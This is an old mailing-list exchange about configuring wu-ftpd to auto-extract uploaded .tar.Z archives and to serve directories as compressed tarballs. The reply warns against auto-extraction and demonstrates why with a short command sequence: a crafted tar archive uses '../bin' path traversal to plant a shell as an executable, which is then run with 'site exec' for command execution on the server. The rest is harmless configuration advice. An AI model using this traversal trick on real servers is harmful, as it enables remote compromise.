Subject: Auto tar/compress/uncompress

From: Mattias Niklasson <[email-masked]>
Date: Tue, 23 Sep 1997 18:09:54 +0200

Hello,

We are looking for a way to solv the following:

- When a user uploads a .tar.Z file, it should be uncompressed and
  untared in the upload directory which will create i directory-
  structure there.

- When a user requests to download <directory>.tar.Z, the directory
  should be tared, compressed and deliveried.

We can see in the manpages that it is possible, but don't think it's
clearly descibed how to actually do.

Anyone who can help us?

Regards,
Mattias Niklasson
-----------------------------------------------------------
  Marieberg Interactive AB    Tel: 08-459 39 42
  Box 27205                   Fax: 08-661 51 30
  102 53 Stockholm            Mob: 070-620 11 90

---

From: [email-masked] (Andy Church)
Date: Tue, 23 Sep 1997 17:17:32 EDT

>  untared in the upload directory which will create i directory-

     Very dangerous:

mkdir tmp tmp/foo tmp/bin tmp/bin/ftp-exec
cp -p /bin/sh tmp/bin/ftp-exec
cd tmp/foo
tar cvf - ../bin | compress > foo.tar.Z
ftp your.server
[...]
ftp> put foo.tar.Z
ftp> site exec sh -c whatever

I'm sure there are plenty more interesting things you can do with this too,
but I'm too lazy to think them up right now.

>  should be tared, compressed and deliveried.

     Put something like this in /etc/ftpconversions (or wherever the
wu-ftpd files are on your system):

 : : :.tar.Z:/bin/tar cZf - %s:T_REG|T_DIR:O_COMPRESS:O_TAR:TAR+GZIP

Note that (at least for b13) you need at least one space in each field or
wu-ftpd will crash and burn.  Then add the following directives to your
ftpaccess file if they're not there already:

compress  yes  <classname> [classname...]
tar       yes  <classname> [classname...]

where the <classname>s are as defined in your "class" directives.

  --Andy Church                  | If Bell Atlantic really is the heart
    [email-masked]       | of communication, then it desperately
    www.dragonfire.net/~achurch/ | needs a quadruple bypass.